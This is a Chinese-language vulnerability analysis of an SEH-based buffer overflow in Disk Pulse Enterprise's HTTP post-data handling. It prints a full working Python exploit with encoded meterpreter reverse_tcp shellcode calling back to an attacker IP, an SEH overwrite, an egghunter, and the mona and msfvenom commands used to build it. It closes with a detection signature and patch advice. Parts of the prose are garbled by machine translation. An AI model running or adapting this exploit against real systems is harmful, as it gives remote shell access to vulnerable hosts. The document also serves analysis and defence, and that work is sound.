一、漏洞簡介
disk pulse eneterprise是一款監視磁盤變化的軟件,它可以通過一個管理端口9120或者web管理窗口80對軟件進行連接管理,從而監視磁盤的變化情況。在disk pulse eneterprise中有一個動態鏈接庫libspp.dll ,其中有一些負責http操作的函數,問題就出現在這個動態鏈接庫中,在處理后數據時,由于對于后數據沒有進行嚴格的長度控制,導致在執行獲取后數據時向無效內存拷貝數據造成緩沖區溢出,觸發seh異常行為處理,最后控制eip,執行任意代碼。
軟件下載鏈接:https://[www.exploit-db.com/apps/a679e77e57bf178b22bff5e86409a451-diskpulseent_setup_v9.0.34.exe](http://www.exploit-db.com/apps/a679e77e57bf178b22bff5e86409a451-diskpulseent_setup_v9.0.34.exe)漏洞披露地址:https://[www.exploit-db.com/exploits/40452](http://www.exploit-db.com/exploits/40452)
二、實驗環境
windows 7 x86:系統環境
IDA pro:靜態分析工具
免疫調試器:漏洞分析專用調試器
WinDbg的:漏洞調試器
三、漏洞分析
先簡單看一下POC,是一個比較綜合的緩沖區溢出漏洞。該文中討論了SEH結構化異常處理程序和egghunter技術。
SEH概述
熟悉編程的人可能對結構化異常處理(SEH)這種用于處理硬件和軟件異常的窗口機制很熟悉。它通常表示為嘗試/除和的try / catch代碼塊。
Egghunter概述
簡單來說,它是一種尋址技術,它通過設計標記并跳轉到另一個標記的位置來執行 shellcode。當shellcode無法被存放在緩沖區時,使用egghunter技術是必要的。
首先,我們先分析一下POC
#!/usr/bin/python import socket import sys s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) connect=s.connect(('192.168.46.160',80)) #msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.46.171 LPORT=4444 -e x86/shikata_ga_nai -b 'x00x0ax0dx26' -f python --smallest buf = "" buf += "xdbxdfxd9x74x24xf4xbax92xa7xaexd7x5bx29" buf += "xc9xb1x56x31x53x18x83xc3x04x03x53x86x45" buf += "x5bx2bx4ex0bxa4xd4x8ex6cx2cx31xbfxacx4a" buf += "x31xefx1cx18x17x03xd6x4cx8cx90x9ax58xa3" buf += "x11x10xbfx8axa2x09x83x8dx20x50xd0x6dx19" buf += "x9bx25x6fx5exc6xc4x3dx37x8cx7bxd2x3cxd8" buf += "x47x59x0exccxcfxbexc6xefxfex10x5dxb6x20" buf += "x92xb2xc2x68x8cxd7xefx23x27x23x9bxb5xe1" buf += "x7ax64x19xccxb3x97x63x08x73x48x16x60x80" buf += "xf5x21xb7xfbx21xa7x2cx5bxa1x1fx89x5ax66" buf += "xf9x5ax50xc3x8dx05x74xd2x42x3ex80x5fx65" buf += "x91x01x1bx42x35x4axffxebx6cx36xaex14x6e" buf += "x99x0fxb1xe4x37x5bxc8xa6x5fxa8xe1x58x9f" buf += "xa6x72x2axadx69x29xa4x9dxe2xf7x33x94xe5" buf += "x07xebx1ex65xf6x0cx5exafx3dx58x0exc7x94" buf += "xe1xc5x17x18x34x73x12x8ex77x2bx0cxe5x10" buf += "x29x51xe8xbcxa4xb7x5ax6dxe6x67x1bxddx46" buf += "xd8xf3x37x49x07xe3x37x80x20x8exd7x7cx18" buf += "x27x41x25xd2xd6x8exf0x9exd9x05xf0x5fx97" buf += "xedx71x4cxc0x89x79x8cx11x3cx79xe6x15x96" buf += "x2ex9ex17xcfx18x01xe7x3ax1bx46x17xbbx2d" buf += "x3cx2ex29x11x2ax4fxbdx91xaax19xd7x91xc2" buf += "xfdx83xc2xf7x01x1ex77xa4x97xa1x21x18x3f" buf += "xcaxcfx47x77x55x30xa2x0bx92xcex30x24x3b" buf += "xa6xcax74xbbx36xa1x74xebx5ex3ex5ax04xae" buf += "xbfx71x4dxa6x4ax14x3fx57x4ax3dxe1xc9x4b" buf += "xb2x3axfax36xbbxbdxfbxc6xd5xd9xfcxc6xd9" buf += "xdfxc1x10xe0x95x04xa1x57xa5x33x84xfex2c" buf += "x3bx9ax01x65" #pop pop ret 1001A333 nseh = "xEBx0Bx90x90" seh = "x33xA3x01x10" egghunter = "x66x81xcaxffx0fx42x52x6ax02x58xcdx2ex3cx05x5ax74" egghunter += "xefxb8x77x30x30x74x8bxfaxafx75xeaxafx75xe7xffxe7" evil = "POST /admin HTTP/1.1rn" evil += "Host: 192.168.46.160rn" evil += "User-Agent: Mozilla/5.0rn" evil += "Connection: closern" evil += "Accept: textml,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8rn" evil += "Accept-Language: en-us,en;q=0.5rn" evil += "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7rn" evil += "Keep-Alive: 300rn" evil += "Proxy-Connection: keep-alivern" evil += "Content-Type: application/x-www-form-urlencodedrn" evil += "Content-Length: 21000rnrn" evil += "x41" * 12292 #subtract/add for payload evil += "w00tw00t" evil += "x90" * 20 evil += buf evil += "x90" * 50 evil += "x42" * 1554 evil += nseh evil += seh evil += "x90" * 20 evil += egghunter evil += "x90" * 7000 print 'Sending evil buffer...' s.send(evil) print 'Payload Sent!' s.close()
攻擊者構建了http請求包,可以看出post請求,url是/ login,content-length:17000。發送了12292個“ x41”字節,然后發送了“w00tw00t”8個字節,之后發送了20個 “ X90” NOP字節,之后發送的buf,再加50個NOP,1614個 “ X42”,接下來就是SEH的異常處理機制(不太懂的同學可以去深入了解一下),接下來是egghunter執行代碼,大概意思就是去跳轉到含有雙重 “w00t” 的地方執行。剩下就是對緩沖區的填充。
接下來我們使用文DBG打開帶有漏洞版本的應用程序。
發送有效載荷,觸發漏洞。輸入克,返回地址被覆蓋,KB查看堆棧調用。
這里調用了libspp.dll的SCA_HttpParser的GetNextString函數,接下來程序進入SHE異常行為處理,通過覆蓋SEH Handler打到代碼執行。
打開IDA,分析10092822處,在libspp中SCA_HttpParse類負責處理HTTP的一些相關操作,其中有一個函數名為ExtractPostData負責處理后數據,在這個函數入口下斷點。這個函數的入口地址為10092510
發送緩沖區全用一個代替的POC,觸發漏洞,如下圖所示:
查看傳參情況,后期數據作為第二個參數傳入,注意是完整傳入。
這里繼續單步跟蹤,到達之前說到的GetNetString函數。
這個函數會做一件事情,就是將第一個參數,也就是后期數據進行拆分,將每一部分分離出來作為后續處理,單步步過,可以看到第一次進入GetNextString之后,拆分了第一個數據。
第一次分離出來了用戶名,接下來,再次進入GetNextString開始拆分第二個字符串,這個拆分過程會執行一系列的拷貝操作。
這個LOC塊負責拷貝,其中10092822地址就是觸發漏洞的關鍵位置,ESI是待拷貝的緩沖區首地址,EDX是拷貝長度,CL是拷貝內容,這里是一個字一個字拷貝的。
因此,當超過開辟緩沖區大小的時候,就會引發向無效地址拷貝的問題。
看一下EDX + ESI的值,可以看到,后面已經超過了開辟緩沖區的大小,后面就是無效緩沖區了。
之后看一下ECX的值
CL就是將ECX的低地址一個字節一個字節拷貝,這里由于向無效地址拷貝,引發SEH異常處理,最后達到代碼執行,來看一下偽代碼。
再來看一下GetNextString函數的偽代碼。
四、漏洞利用
首先發送poc,觸發漏洞,使用免疫調試器,查看她鏈,被成功覆蓋。
我們需要找到SHE的偏移量。
利用蒙娜麗莎命令生成20000個字符
!mona pattern_create 20000
運行完在C:日志 FTPServer的 pattern.txt中找到。
重啟程序,將其加入到腳本中的BUF中運行
使用蒙娜麗莎命令來尋找SEH偏移量
!mona findmsp
查看蒙娜麗莎的控制臺輸出,找到它的描述SHE偏移量的部分。
偏移量是14292。
接下來,要尋找pop pop ret的地址
使用!mona seh
打開seh.txt日志查找指向POP POP RET序列的代碼塊地址。
設置的shellcode里面的
nseh =“ xEB x0B x90 x90”seh =“ x33 xA3 x01 x10”
利用msf生成通用的shellcode,命令如下
msfvenom -a x86 --platform Windows -pwindows / meterpreter / reverse_tcp LHOST = 192.168.46.171 LPORT = 4444 -ex86 / shikata_ga_nai -b' x00 x0a x0d x26'-f python -smallest
在POC中寫入的shellcode,再寫入過程中,要根據BUF的長度,修改后面偏移量的值。
重啟程序,打開的Metasploit
選擇開發模式
輸入命令,設置參數
發送poc,觸發漏洞,查看metasploit反應,輸入shell,可以連到到存在漏洞主機的shell。
五、漏洞利用特征:
請求方式:POST
請求路徑:/登錄
漏洞特征:POST +任意路徑+內容長度:> 14292+ | eb | +任意字節+ | 90 90 |
六、防御建議
升級應用程序,對應用程序打補丁或者下載新版本的應用程序,或者裝載殺毒軟件。
下載地址:https://www.diskpulse.com/downloads.html